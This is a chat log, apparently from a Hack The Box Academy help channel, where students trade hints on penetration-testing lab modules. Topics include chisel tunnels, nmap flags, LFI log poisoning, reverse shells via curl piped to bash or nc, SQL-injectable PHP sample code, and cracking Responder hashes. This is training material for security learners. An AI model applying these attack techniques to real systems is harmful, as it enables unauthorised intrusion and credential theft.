if you need help with boxes, you'll need to verify your account and go to #boxes

[loud sparrow]

Hey, im on Active Directory Enumeration & Attacks: Privileged Access i cant connect to the ssh: "open a PowerShell console on MS01 and SSH to 172.16.5.225 with the credentials htb-student:HTB_@cademy_stdnt!."

[rustic sage]

why are you trying to ssh? it says rdp

[loud sparrow]

i need to run mssqlclient.py for the last question

Can someone check if the ssh is working?

[rustic sage]

i'm checking right now to see what i did

thought you were on the first part

[loud sparrow]

thank you very much

[hoary mauve]

this at least gives a "bound proxy" but i still have the "no route to host" error

[rustic sage]

what command did you use to setup the server?

[rustic sage]

i had an issue to, rereading and redoing the lab to verify i didn't miss anything

[loud sparrow]

hm its strange

[tawdry vapor]

hello guys, i'm in the pivoting module - SOCKS5 TUNNELING WITH CHISEL, this error apear when i run ./chisel in the server, someone knows who i solve this?

[thorn urchin]

statically compile it

golang changed up some of its compilation stuff

CGOENABLED=0 go build -ldflags="-s -w -linkmode 'external' -extldflags '-static'"

[tawdry vapor]

can I send u DM?

[thorn urchin]

nah im working

I did the homework of providing how to statically link it, you should be good to go from there

[hoary mauve]

./chisel server --reverse with the output screenshot attached

[tawdry vapor]

I got it here, thanks bro

[rustic sage]

you set up a listener on 8080, why are you trying to connect to 1080 on your client?
your issue was the absense of -v, connecting to the wrong port, and setting up a reverse connection wrong

[hoary mauve]

i still fail to connect to the chisel server with sudo ./chisel client -v 10.129.204.182:8080 socksthough, i have the listener setup, and ive tried both using port 1080 and port 8080 in the /etc/proxychains4.conf file

[woven copper]

you set up a --reverse proxy on the server
so have to specify the same on the client
./chisel client -v 10.129.204.182:8080 R:socks

[vestal hatch]

hello

[next umbra]

Anyone could help me sort out where I am being wrong on my metasploit set-up for WINDOWS PRIVILEGE ESCALATION - Windows Server

[rustic sage]

Someone can help me? Module Windows Privilege Escalation section "Citrix Breakout".
When i try to run the smbserver in my ubuntu machine(connection through RDP protocol), doesn't found the impacket module. I tried to install the impacket module in the ubuntu machine but doesn't have internet access so I can't do nothing.

Solved

I'm dumb 💀

[vestal hatch]

Working On Intro to Python 3 , Stuck on Code Block2 in the first set of Questions , can anyone help on this , In "Code block 2" the blank should be filled with what, to output all numbers in a terminal? ????

Its In Conditional Statements and Loops Module

[coarse void]

take a look at the for-each loop section above

[vestal hatch]

THANKS

WILL DO

[pastel lance]

for AD Enumeration and Attacks, how did yall bypass the antivirus to get ||MimiKatz|| working on the second skills assessment? I had to do the attack manually with file transfer over ||nc|| but wondering if anyone managed to get it another way

[digital dove]

guys need anyone to help me to solve this lab please "Firewall and IDS/IPS Evasion - Hard Lab "

[round gale]

hTB academy is really slow today. is anyone else having the same experience ?

[digital dove]

guys?

[fringe shell]

My notes only say I had a meterpreter shell as admin at that point. It doesn't mention anything about evasion.

[coarse void]

use ./<filename> for files under current directory

[craggy zinc]

guys....

i have connection

btw

[coarse void]

some targets doesn't reply pings

[craggy zinc]

so what do i do

[coarse void]

try -Pn as mentioned in the error message

which module are you in

[craggy zinc]

module?

[coarse void]

the title

[craggy zinc]

this?

hello?

[coarse void]

this place is for the htb academy

i believe you have other servers to ask questions for boxes

[willow sonnet]

is it just me or is HTB academy very slow today?

[torpid haven]

Stuck on web attacks skill assessment

||trying to change admins password with the idor vuln but every time i try it says access denied||

[frigid stirrup]

anyone know why i can't get nc.exe to copy over even though i get the 200 and the file shows up when i do a ls or dir it shows nc.exe with 0 bytes

[calm spruce]

hi guys

im new can anyone guide me through this?

[torpid haven]

through what

[vital adder]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[vital adder]

without any context this this sound like you are having a stroke

[calm spruce]

ight

[vital adder]

hint you'll need 2 thing for that

||uuid|| and a ||token||

[torpid haven]

That's what I was thinking but I'm struggling with the second part. Now that I know that I was on the right track I'll keep looking.

Thanks

How do I mark a large message as a spoiler? 😭

[vital adder]

shoot me a dm those definitely too much spoiler

even with a spoiler tag admin would not be happy with that much spoiler

[torpid haven]

I see

[late wolf]

hey guys im new here could someone help meout

[acoustic owl]

If you say in which module, which section, which question you need help and then say what you have already tried, your chances of getting help are very good.

[heady wing]

Is there a way I can buy cubes or acess to a specific course without subscribing, I have 4 courses in mind that I can access all behind the student subscription and then one I want to do which is Tier III, and I want to only get that one and then I'll probably be done with academy and take an exam

[acoustic owl]

Yes, you can buy cubes without subscription

https://academy.hackthebox.com/billing

[heady wing]

it is actually cheaper for me to subscribe and get 500 cubes for the web exploitation course than me just buy 500 cubes.

77 aud for 500 cubes, or purchase gold and just cancel it and that's $67

whack

[acoustic owl]

Yes, the subscription is definitely cheaper

[frigid stirrup]

i went thru the step by step and when i try and copy the nc.exe after setting up the http server i get the 200 on the http server terminal but when i list out the directory where i copy it to i get a length of 0... for the beginners Archtype

[elfin cedar]

Hello, I'm just curious about a part in the Hard Lab in Password Attacks. How did y'all get a particular file off one of the target hosts? I successfully did it by encoding/decoding base64. Is that what everyone else did? Ty

[frigid stirrup]

id post a screenshot but ...

[vital adder]

read #welcome and #rules after that use /verify at #bot-commands to verify your account and send screenshot here

[vital adder]

the ||vhd|| file? there is multiple way to get that from using /drive tag in xfreerdp or a tool like updog

[frigid stirrup]

i pulled a binary from github to try an copy it over and i tried to push the nc.exe from the windows binaries already on the kali box

[vital adder]

which module and section are you on?

[frigid stirrup]

when i try an pull the nc.exe file from my http.server i get the 200 but in the sql box it gets stuck

Archtype

tier 2

[vital adder]

ask that in #starting-point

this channel is for HTB academy modules not main platform

[real copper]

Module : Attacking Common Services

Attacking Email Services
i got the username m****** and i trayed to brute force for the password using the pws.txt and rockyou.txt
on both smtp and pop3
i'am stuck in this easy task

[orchid pine]

U couldnt brut force ?

[orchid pine]

Can semd me the whole cmnd

[candid lily]

i need help with file inclusion module

[cedar void]

For the Footprinting lab hard...when you do the nmap scan, how many ports are you all getting. I am just getting five , but when I look at some writeups for this lab, I am told that there are more than just five parts. I included '-p-' and '-p 1-65535' in my scans and I still get the same five ports. Not finding any snmp ports

[candid lily]

what is wrong with my shell it doesnt work

[lusty thicket]

have you tried a udp scan?

[covert grail]

is there any way to refund a module ?
this Broken Authentication is making me cry

why its so dam hard

[cedar void]

Nope. I now just learn that the '-p-' nmap flag doesn't include udp ports. Thats wild to me

[lusty thicket]

yes😉

[vital adder]

i mean you can ask support but i doubts it 🤷‍♂️

and yes some module will kick you in the ball

[covert grail]

u are laughing but im crying

I want to learn Server Side now

[covert grail]

hardcore

hardcore

[vital adder]

you will get used to being railed by modules if you will be on the academy for a while

[covert grail]

its been 44% till now

[candid lily]

help pls

why does my shell not work

[rustic sage]

you have to give us more information than that

[candid lily]

i sucessfully uploaded a simple web shell on target server but for some reason it doesnt work

i used log poisoning to create a more permanent web shell here

but when i try to use that shell it doesnt "work"

[rustic sage]

don’t try uploading a shell first.. try to read phpinfo and then upload a shell. phpinfo will tell you what functions are blocked as well

[candid lily]

but it worked in when i poison log right, why doesnt the same work when i run with my file

[distant ibex]

you can use nc socat these commands to get a reverse shell

[candid lily]

actually i was able to use php filter and i got the php configuration file

[vital adder]

what module and section are you on?

[candid lily]

im doing file inclusion and log poisoning section

i wanna know what is preventing me from using the shell

[vital adder]

it's an LFI module so how tf did you upload a shell? 🤣

[vital adder]

a shell here only work through log poisoning hence the section name

[candid lily]

i didnt exactly "upload" it but i used the command execution to "create" (using echo) to make more permanent shell

like they told here

maybe i should've tried reverse shell but it is still puzzling me why isnt my shell working

[vital adder]

now sure what method that part show but that isn't the best one

why would you "write" a shell when you have RCE when you can just get a rev shell or if there is curl on the target machine you can get a better shell with curl pipe to bash

[vital adder]

also i don't think you can get a rev shell in this

yep just check it's docker through public ip you can't get a rev shell

[candid lily]

again i wrote a shell directly to web directory and tried to run command but still something is stopping me and it gives no output

[vital adder]

or the target web server technology doesn't support that type of shell

[lusty thicket]

||sudo nmap -sU -F ip -v||

[candid lily]

how

[candid lily]

but with log poisoning it worked

how exactly are they blocking my shell

[vital adder]

wlep if something is unintended you just can't do it 🤣

[candid lily]

how did they block it though

weird where is my $_GET

bruh they are replacing my $_GET

?

uhhh i give up they are sanitizing my input? weird

[cedar void]

so when I try to do an snmp scan I get no response, even when I reset the IP.

[lusty thicket]

is that the correct community string to use?

😉😉

[cedar void]

I got this example from the smnp lab and they don't show any other ways you can write the snmp scan

[lusty thicket]

but they show ways to bruteforce community strings

😉😉

[cedar void]

So the 'braa' command could be an option? thats the only other tool I am seeing in the SMNP lab

[lusty thicket]

really?

😉

[cedar void]

and 'onesixtyone' too

[tranquil axle]

type this in your terminal
```echo "$term is the value of "'$term'````
and you'll see the problem with $ in linux commands and doublequotes

[candid lily]

OHHHH

[lusty thicket]

you could use that for bruteforcjng community strings

i think

[candid lily]

so i should've escaped $

[tranquil axle]

yea the $ probably doesnt arrive in the shell, maybe try the command locally first

apparently in single quotes it works but not in double quotes or you find another way to escape it

[candid lily]

thanks, that was so confusing now it makes sense

[cedar void]

Did I write the right scan?

[lusty thicket]

yes

[cedar void]

So is 'nixHARD' the community string I need to run the 'braa' command?

[lusty thicket]

no

[cedar void]

Oh okay . the notes mentioned a community string I would need. How would I determine what the community string is

[lusty thicket]

it’s already in the output of this command

[novel shoal]

Hello, I need help on Documentation & Reporting Practice Lab first question, can anyone give me hint or the way to get the admin cred? i tried everything i can to login but incorrect

https://academy.hackthebox.com/module/162/section/1572

[cedar void]

???

[lusty thicket]

😉

[hallow kiln]

I'm in the Password Attacks module, section Pass the Hash, where we have to enable restricted admin mode in order to RDP into the host, but it's not working for some reason... xfreerdp keeps asking for a password, any ideas?

why would you ask that in this server? 🤔

[cedar void]

So thats a 'thumbs up'?

[rustic sage]

Oops i'm sorry wrong server

[lusty thicket]

yes

[limber river]

Are you sure the hash is correct?

[cedar void]

My 'braa' scan showed an email address and username. I am guessing that my be pertinent to this task?

[hallow kiln]

yep, I copy-pasted it and can log in with psexec and evilwin-rm just fine, I got the answer without using RDP but I'd still like to know why it isn't working

[lusty thicket]

yes

[limber river]

Try to run the command from psexec or winrm then try rdp again, I think it should work

[hallow kiln]

that's what I did, the first screenshot is from psexec, but I'll try from winrm too

[candid lily]

yes that was the problem, i tried again while escaping $ and it worked perfect

[hallow kiln]

same result

[limber river]

Why "131" in rdp command?

[vital adder]

i used evil-winrm for that so give that a try maybe

[hallow kiln]

that's not part of the command

[hallow kiln]

I did try, seems like I'll probably have to do the whole thing without RDP

[limber river]

It should work, I did it this way

[hallow kiln]

I'll reset the target and see if that helps

[tender lake]

I'm stuck on Attacking Common Applications - Attacking Tomcat, I have not been able to find the flag. Ive tried find / -name tomcat_flag.txt 2>/dev/null But this is all I get as the output I get. Am i missing something?

[cedar void]

Do you think I should now try looking at a different port with that email address, like pop3 or ssh?

[autumn pilot]

why simply not get a reverse shell session?

[lusty thicket]

that’s what you should do

[cedar void]

Okay. is this Server certificate on the pop3 server from openclient the 'id_rsa.pub' I would create

[frigid stirrup]

nobody's in the newb channels

[lusty lynx]

hi

[heady wing]

One of the modules I'm doing has this code:

$searchInput =  $_POST['findUser'];
$query = "select * from users where name like '%$searchInput%'";
$result = $conn->query($query);

A bug bounty hunting course and it's giving me insecure code 😹

[rustic sage]

huh? the point of the CBBH path is to find insecure code and learn how to exploit it

[tender lake]

this way worked so far, and i'm fine with sending through my commands in curl

[heady wing]

Yeah but it's not yet at the section talking about exploits, it's giving examples of relational databases and how they work

[vital adder]

after getting a shell that same command should work because i have the same command in my note

or maybe you can try to url encode that command a bit more

[lusty thicket]

you need valid credentials for that

[cedar void]

This certificate isn't a valid id_rsa.pub?

[fathom pendant]

Since you guys are communicating back and forth take to dms

[hallow kiln]

nope, resetting did nothing

[fathom pendant]

Also @cedar void keep moving until you hit a wall its not learning if you keep asking a question every time you just do something

[tender lake]

This is the output that I get after encoding the URL

[vital adder]

🤷‍♂️ that's why it's better to get a shell

[tender lake]

alright, ill try that then

thanks

[fathom pendant]

Because the find command outputs multiple lines. The webpage and parser aren't dynamic

[autumn pilot]

Depending on the web shell you have, commands like find and others, that print out the output to standard out as soon as they have results will be degraded. Meaning that you won't be able to see the results as the "connection" with your webshell is getting closed (simply put)

[hallow kiln]

well, doesn't seem like it can be done without RDP...

[autumn pilot]

You can think of a way to improve your command by simply trying to save the outputted results from the find command to a file for example

And then you can query that file with cat or else

[lusty lynx]

why the Cross-Site Scripting (XSS) module Target doesn't work

[hallow kiln]

I'm not aware of anything, but any other way to pass the hash apart from xfreerdp?

[lusty lynx]

XSS Attacks / Skills Assessment target

[autumn pilot]

have you made the change in the registry entry in the target?

[hallow kiln]

yes, I did that many times with different tools, it doesn't work

[autumn pilot]

Once you have a session on the target, there is only one tool that can make the change

You cannot RDP into the target straight after you've spawned it

[hallow kiln]

I meant that I tried the command with psexec and evil-winrm, neither works, xfreerdp keeps demanding a password when I try to pass the hash

[autumn pilot]

Does the same behaviour continue if you use the workstation in academy

[hallow kiln]

thanks for the suggestion, I will try that as well, althought tbh I'm not a fan of exercises that can't be completed from my own VM

I get an entirely different error in the pwnbox
No protocol specified [17:16:51:566] [2814:2814] [ERROR][com.freerdp.client.x11] - failed to open display: :1 [17:16:51:566] [2814:2814] [ERROR][com.freerdp.client.x11] - Please check that the $DISPLAY environment variable is properly set.

[limber river]

the command you are running please ?

[hallow kiln]

it finally worked... but I really shouldn't have to switch to the pwnbox for this

[fathom pendant]

Eh sometimes things are dumb

[hallow kiln]

I'm just worried I'd have to do something like this in the exam

[fathom pendant]

You can respawn a target and it'll work on your machine the second time

[hallow kiln]

yeah, that happens, unfortunately didn't help in this case

[limber river]

it works fine , on my vm

[fathom pendant]

if it's any consolation I don't recall needing to use pwnbox for that section personally ¯_(ツ)_/¯

[hallow kiln]

that's always fun 😂

[limber river]

(╯°□°)╯︵ ┻━┻

[craggy zinc]

Ikr happens alot

[hallow kiln]

thank you for the help, D0s3nt, MarcieLee and dpgg, finally completed the section from the Pwnbox

lmao, not the next section giving the admin password 😭

[elfin cedar]

no it was the ||Logins.kdbx|| file

[lost hull]

has anyone tried to sign up on the wpscan website to get access to the free api key lately? Been waiting like 3 days for the verification email to come through to activate my account. starting to think its not coming

[rustic sage]

lately no, but it's not supposed to take that long.. you might want to try again and make sure you entered the correct email

[lost hull]

yeah im pretty sure i put the email correctly. even tried a second one. very odd

[rustic sage]

Hi all I'm new to the channel so I hope this is the right place to ask,
I'm currently on the cbbh track and have trouble with some modules using a kali box with vpn. Running the same cmds on htbs' parrot and my kali produce different results. My assumption is it's something about the vpn connection. For example in the Web Service & API Attacks module (just following along) I can ping the target, can run http://<TARGET IP>:3002/wsdl but http://<TARGET IP>:3002/wsdl?wsdl won't work. Proceeding a little further the python script client.py returns ....<success>false</success><error>This function is only allowed in internal networks</error>.... (That's why I'm assuming it's a network issue). Reconnecting vpn or respawning the target didn't fix the issue...
I'm worried what to do if something like this happens in the exam and if anyone else encountered similar issues.

[analog dock]

Umm hi?

[near chasm]

need help in the following question in SIEM module :

Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Dashboard". Extend the visualization we created or the "User added or removed from a local group" visualization, if it is available, and enter the common date on which all returned events took place as your answer. Answer format:

[analog dock]

What do you not understand?

No one can help you if you ask a question like that

[elfin cedar]

Does anybody know how long it takes to get this working? I'm on Attacking Common Services, Attacking FTP. I reset the machine, do an nmap scan for all ports. I let it sit for 30 minutes and nothing. I repeat and repeat, I've been doing this for hours. https://academy.hackthebox.com/module/116/section/1165

[sly dome]

nmap scan should take less than 1 minute

in these modules

first check connection with an icmp trace using ping

[elfin cedar]

yeah I get a ping back

I've seen other people ask the same thing

[thorn urchin]

post your command

[elfin cedar]

They have to keep resetting and waiting, plus its an all port scan -p-

ok

[sly dome]

nmap -p- —min-rate 2000 -n -Pn <IP>

[elfin cedar]

nmap -sC -sV -p- 10.129.114.8

[sly dome]

lol

dont do sCV on all ports

[thorn urchin]

also add -v

[elfin cedar]

for real?

[thorn urchin]

sometimes nmap will decide to do a tcp connect scan instead of the normal default Syn scan

[sly dome]

i usually do -oG allports

[elfin cedar]

ohh, so after an all port scan, then do an sC for the open ports?

[thorn urchin]

you can spot if this happens by turning on verbosity

[sly dome]

ye

[elfin cedar]

I get it, thanks so much

[sly dome]

-vvv also good as madfox pointed out

[cedar void]

Can I DM anyone about the Footprinting HARD lab? I been trying to figure out the key for a few hours and I hit many walls

[thorn urchin]

eh I do -sC -sV on all ports all the time

[elfin cedar]

lol

[sly dome]

good job then but no reason to do that xD

[thorn urchin]

dont even need three, just one is enough to see if its accidentally doing a connect scan

[sly dome]

more verbosity

[thorn urchin]

cause a connect scan will def take 30+ minutes for all ports

[sly dome]

more info

add -sS

[thorn urchin]

yeah. Im just saying its not necessary for the specific issue Ive seen

literally had it happen to me two days ago

[sly dome]

lol

weird

[thorn urchin]

maybe your Internet is just ass

[sly dome]

that has to be something more :/

and discovering the actual problem from our side is difficult

[elfin cedar]

sheesh

lol

it went up to 2 hours remaining

[rustic sage]

-T5

[sly dome]

thats for TCP connect scan

SYN scan should be faster than T5

[thorn urchin]

T5 is independent of syn or not

[cedar void]

Can I DM anyone about the Footprinting HARD lab? I been trying to figure out the key for a few hours and I hit many walls

[elfin cedar]

it finally worked with -T5

thank you

[sly dome]

did you try with —min-rate

[elfin cedar]

no I just did ||nmap -sV -p- 10.129.254.24 -v -T5||

[sly dome]

why run sV on all ports

[elfin cedar]

idk should I do that AFTER an all scan?

just like for -sC

[sly dome]

its w.e

[elfin cedar]

ok lol

[sly dome]

i like to discover open ports first

then run sCV only on open ports

ippsec does scv on all ports

iirc

[elfin cedar]

That sounds like a good idea, I appreciate you all for opening my eyes

[sly dome]

you are right i had to be missing it with other flag

its kind of difficult to remember all nmap flags 🤣

[thorn urchin]

Personally I dont see it making a difference in total scan completion times(script and version checks are ran after port discovery anyways)

but it can be nice if you want some quick feedback and start poking some obvious stuff right away

[fathom pendant]

I forget the order but doesn't it run each separately in terms of script and version scans idk which it does first

[smoky jackal]

hi, I'm stuck on "Live Engagement, question 2"
module: shells & payloads
It's asking me to upload a reverse shell but I'm unsure how as I cannot find the "upload page" ://

[novel shoal]

Hello, I need help on Documentation & Reporting Practice Lab first question, can anyone give me hint or the way to get the admin cred? i tried everything i can to login but incorrect

https://academy.hackthebox.com/module/162/section/1572

[sly dome]

yes 🙌

[small sage]

Anyone able to help with broken authentication skills assessment? I've gotten a decent bit in and am not sure how much to type out without spoilers

[final maple]

Anyone know how to fix the clock skew issue when using targetedKerberoast.py? I already tried sudo ntpdate <DC IP>

[gloomy bramble]

this is an old comment, but this just helped me. Couldn't find a browser to utilize.

[smoky jackal]

Thanks for this ^^

[keen compass]

Hi, on SQLMAP ESSENTIALS > Attack Tuning > What's the contents of table flag6? (Case #6) : When running sqlmap with ||risk3||, it detect ||a Timed based heavy query SQLi||. I got the flag that way but it was pretty slow. I wonder if there were "simpler way of getting the flag" or if there is a way to "fine tune sqlmap so that the heavy query is not that long (8 queries per minutes lead to more than 2 hours getting that flag lol)
If someone is available to talk here or in DM about the resolution, that would be nice please 🙂

[lean condor]

Hi, i'm ATACCKING COMMON SERVICES - EASY
after pown credencials user and pass , try to upload webshell vía sql INTO OUTFILE, i can not find the directory path. any hint?

[wintry basin]

Hey, anyone done the Credentials in Object Properties section on the Windows Attacks & Defense module? i'm stuck on question 3, i did filter for the id 4771 that none of them are bonni user. I also noticed that the new login success or failure are not generating only for this id. I tried updating the policy setting in the backend but it's still the same. Can anyone give me a hint please?

[trail leaf]

If you’re on VBox, you may have to disable the setting that syncs your VM’s time with your host’s time iirc

Or you do what I do when I’m lazy and run all of the commands you want to do on one line, which works sometimes

[fathom pendant]

You're uploading to the web root, figure out what web service it's using and Google what the web root is for it

[elfin cedar]

can anyone help me try to crack this mssql hash? Its from Attacking Common Services. Am I supposed to use John? Because I tried and its saying "No password hashes loaded"

I use the command john --format=mssql hash.txt

[final maple]

What did you copy and paste into the hash.txt file? Sounds like you are missing part of the hash

[elfin cedar]

yeah I did

I mean I echoed into a txt, it looks lik its all there

[final maple]

did you also include the password file in the command? John may think hash.txt is the file with the list of passwords. Your command should be something like john --format=mssql hash.txt rockyou.txt

[elfin cedar]

I totally forgot the password file

wow

[final maple]

It happens

[elfin cedar]

idk its still not working

[final maple]

what is the complete command you are using?

You also have to make sure there are no broken up lines in the hash.txt file

and try removing some of the beginning parts of the hash that john doesn't need

[elfin cedar]

john --format=mssql hash.txt pws.list

I tried taking out some parts too

[final maple]

Is the pws.list the password list provided by the module?

[elfin cedar]

yeah

Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

[sly dome]

is the hash in hex format?

username:0x<...>

[elfin cedar]

yes, like :mssqlsvc::WIN-02:80f3f389d1a06c000

[sly dome]

not a valid format

[elfin cedar]

dang

[sly dome]

where did u find that

nmap script?

[elfin cedar]

||responder||

I'll try getting the hash again, maybe it was just bad?

[sly dome]

mssql hashes are stored in hex format

JtR expects this format

[sly dome]

i think this is a NetNTLMv2 hash btw xD

or v1 sorry

[elfin cedar]

yes

[final maple]

mssqlsvc is just the name of the account...not the name of the type of hash

[sly dome]

^

[elfin cedar]

it says NTLMv2-SSP hash

[final maple]

run it with hashcat without specifying the hash type

[sly dome]

john should be able to crack it

[final maple]

in your command, you are telling john it is --format=mssql

you are specifying the wrong hash type

[elfin cedar]

ohhh

[final maple]

look up in the hashcat wiki what the mode number is for NTLMvs-SSP

[sly dome]

did you do the information security foundations path?

[final maple]

Then hashcat -m <mode number> hash.txt pws.list

[elfin cedar]

whelp that worked

[sly dome]

@elfin cedar

[elfin cedar]

john --format=netntlmv2

😭

[sly dome]

you jumped straight to CPTS path i think

i suggest you to build an stronger basis

[elfin cedar]

im in too deep

[sly dome]

go for this path

[elfin cedar]

I just thought I was getting a mssql hash because the target was a mssql database

[final maple]

https://hashes.com/en/tools/hash_identifier

[sly dome]

responder is a network poisoner

you cant get a local hash, such as mssql hash, passing through the network

what you catch in responder are not password hashes but challenges responses used to authenticate the client

this challenges responses are hashed using the client credentials then you can crack them using for example dictionary attack

this is why Kerberos is better xD

[elfin cedar]

Ty all

[idle kestrel]

Anyone open to dm for help on File Upload Attacks skills assessment? I have the source code and I've found some allowed extensions, but I'm stuck on at least 1 of the filters

[vital adder]

sure shoot me a dm if you still need help

can i dm someone real quick about the bloodhound module skill assessment (last question)? azure query is driving me nut (more like kicking me in my nut)

[final maple]

I completed that module. Feel free to DM me.

[idle kestrel]

Got the flag, thanks though! Figured out I need to work with the image instead of trying to construct the whole thing from scratch.

[peak thistle]

In Secure Coding 101: JavaScript, where is the website with the JS script located at? The narrative doesn't give the target anywhere.

[acoustic owl]

Which section are you in?

[peak thistle]

Code Review. The assessment in Unpacking requires to have the code, but I can't find the code as there is no target specified where I could get the code. 😢

[peak thistle]

Wow, I must be blind as hell. 😳 Thanks a lot.

[slender shoal]

Happens to the best of us

[digital dove]

why friends referal didnot give me anything

[acoustic owl]

Your friends have to complete the onboarding process
I'm not sure, but I think they have to complete modules for the onboarding process

[digital dove]

what is modules of onboarding?

[acoustic owl]

I think this will be shown to your friends after they sign up.
If you want to be sure, you have to ask the support.

[digital dove]

ok

[acoustic owl]

Or maybe Emma can help you too. You can find her in channel #general

[tender lake]

any of you having problems with the vpn not connecting? Ive tried EU 1 & 2 with both UDP and TCP but it doesn't connect. Worked fine yesterday.

[tender lake]

nvm, its working after restarting my machine

[vital adder]

quick note if you don't already know, after switching your vpn you'll have to restart your target to get a new because the old target is on your old vpn network (not 100% sure but it should be the same for the pwnbox)

[quick crane]

who can help me this https://academy.hackthebox.com/module/51/section/1640

[analog dock]

State your question more clearly

Tell what module and section you’re doing, what problem you’re having and what you’ve tried so far

[acoustic owl]

Just follow the module. Everything is described in detail.

[heavy dome]

Hi everyone
I am stuck on Module: ATTACKING COMMON SERVICES, Section: Attacking DNS, Question: Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. as well|| and found two subdomains h... and c... ||, but I am no able to continue from here.

[quick crane]

no that have error

[vital adder]

also stop spamming the same damn thing 🤣

[torpid haven]

Can someone DM to help with the session security skill assessment?

[quick crane]

what?

[torpid haven]

I'm afraid I'll spoil too much if I write here

[vital adder]

hint try the ||Subbrute|| that showed in that section

[fiery berry]

no it doesn't have any error and it doesn't mean that for answering the "Questions" you have to follow strictly what has been taught in the module

[quick crane]

can I dm you?

[vital adder]

beware he may ask the same thing lol

[fiery berry]

sure, but unless there is no way to avoid spoilers I would post what is your problem here since it can help others as well (as long as the use the CTRL+F to search through the chat history)

[torpid haven]

I'm not getting any connections to my php server even though all seems fine

[quick crane]

This is what I did after restarting the machine, but it still tells me that there are import errors on line 2 and 1972

[acoustic owl]

I told you to follow the module. Step by step

[hoary geyser]

Hello buddies, Good Morning/Evening to Everyone here.

[torpid haven]

It worked after I restarted the box 🤷

[hoary geyser]

I'm happy to meet y'all on here.

I'm a newbie in cybersecurity, I'm looking forward for a new resources, who can recommend for me and also I'm looking forward to network with cyber security experts in penetration testing.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[quick crane]

who can help me this

https://academy.hackthebox.com/module/51/section/1590

[fiery berry]

as 0x56 said: "Tell what module and section you’re doing, what problem you’re having and what you’ve tried so far"

[quick crane]

I tried every mention of this module, but it was all invalid, either using PoC or bypassing it

[torpid haven]

https://tenor.com/view/breaking-bad-funny-wtf-wth-jesse-gif-17336046

[quick crane]

you can go to the link

[fathom pendant]

You're probably doing something incorrectly

[torpid haven]

State the question you're on and what you've already tried

[quick crane]

you can see this

[torpid haven]

What does your community contributor role mean?

[torpid haven]

State the question you're on

[quick crane]

No, I followed his steps and checked carefully, in the poc my system version conforms, but the sudo version does not conform, but when I use the second bypass, it is also invalid

[fathom pendant]

You're meant to use it on the target system

Connect to the spawned target

[quick crane]

yeah，but is no have result

[fathom pendant]

?

[quick crane]

can I dm you give you the picture？

[torpid haven]

Why are you so stubbornly refusing to state the question you're stuck on?

[fathom pendant]

It means I've been extremely helpful in resolving people's issues

[torpid haven]

Cool. Well done!

[fathom pendant]

There's only one question on the linked page

[quick crane]

Can't you read what I said above? Right here, why do people know what I'm asking

[torpid haven]

I don't have the module unlocked so I can't see

[fathom pendant]

It's a simple get root flag question.

[quick crane]

yeah，I think too

but now it is error

[fathom pendant]

Screenshot

So we can stop going back and forth guessing

You just repeating that you're having issues isn't exactly helpful unless we actually know what is going wrong, and the resulting errors

My best guess is you're doing the POC on your own system, thinking you're on the other

But again it's a guess because you aren't actually helping us help you

The reason people earlier were being dicks about you just saying "help me" is because you don't provide enough context

I suggest reading http://dontasktoask.com as to why it's construed as annoying in an asynchronous text forum

[pure osprey]

Just completed Active Directory Enumeration & Attacks. Feeling 🔥 rn. I got really frustrated mid-way through the 2nd Skills Assessment, but it felt great when I knew exactly what to do for the final 2 questions. Awesome module and big thanks to everyone behind it! Learnt a lot.

[fathom pendant]

@quick crane that wasn't an invitation to dm me, send your image here

I see you're not trying to do the sudo-hax-me-a-sandwich

Why?

[quick crane]

no，I do it

[fathom pendant]

Not seeing that you've done it

¯_(ツ)_/¯

[sly dome]

can you help me

[fathom pendant]

Eat a sammich

https://tenor.com/view/team-fortress2-tf2-heavy-hevy-sandvich-gif-23754643

[sly dome]

thx marcie i can understand you have the blue helping role

[fathom pendant]

Thanks I can barely help myself out of a wet paper bag

[analog dock]

I’m on mobile, can’t go to the link. You’re the one that wants help pal, stop being so lazy lol

[west spindle]

Hey,

Anyone solve the question in Detecting Kerberoasting/AS-REProasting - Module: Detecting Windows Attacks with splunk?

I am stuck on the question:

Modify and employ the Splunk search provided at the "Detecting Kerberoasting - SPN Querying" part of this section on all ingested data (All time). Enter the name of the user who initiated the process that executed an LDAP query containing the "*(&(samAccountType=805306368)(servicePrincipalName=*)*" string at 2023-07-26 16:42:44 as your answer. Answer format: CORP\_

I already saw that in Splunk but I don't user and the ProcessName is N/A

Any hint from who solved it?

[loud sparrow]

I have a question about the Active Directory Enumeration & Attacks Module, can i DM someone?

[analog dock]

You can ask your question here

[loud sparrow]

Module: Active Directory Enumeration & Attacks, Section: Privileged Access i cant connect to ssh: "open a PowerShell console on MS01 and SSH to 172.16.5.225 with the credentials htb-student:HTB_@cademy_stdnt!."

[analog dock]

Are you sure this is in privileged access? I don’t see this question

[fiery berry]

It is mentioned under "Scenario Setup", however I haven't use SSH to connect to the target ".255" nor I remember to have followed the learning material

[analog dock]

Ah yes I see

One moment

[fiery berry]

there is also a compiled binary you can use directly on Windows

[loud sparrow]

Where?

[analog dock]

Is your question about ssh or about the last question?

[loud sparrow]

I think i need to ssh into linux to run the py script to get the flag for the last question. But ssh cant connect

[fiery berry]

I advice you to google and search for it, moreover you have to trust that compiled binary

[analog dock]

I have no issue with ssh to the Linux box

Just tested

[loud sparrow]

What am I doing wrong?

[analog dock]

I ran a power shell as administrator, then I did the same command as you did

Make sure you correctly copy the password

And paste

I had the same issue as well

[loud sparrow]

I have, do you use pwn box?

[analog dock]

Yes I used pwnbox

[loud sparrow]

ok im not, i try it in pwnbox

[analog dock]

Should not make a difference though

[loud sparrow]

Yes, but I do the same as you

[analog dock]

Try resetting the instance

[loud sparrow]

I've already tried

[analog dock]

Strange. Pwnbox or your own vm definitely shouldn’t make a difference

As you ssh from the rdp instance

[heady wing]

im doing the skills assessment for hackthebox module using web proxies, and one question is about msf and using auxiliary/scanner/http/coldfusion_locale_traversal, and I can't appear to run against the host. I did
set RHOSTS xx.xx.xx.xx:30354
set PROXIES HTTP:127.0.0.1:8080
and I have burp suite running, now I try to run the module and it says Msf::OptionValidateError The following options failed to validate: RHOSTS with no other detail as to why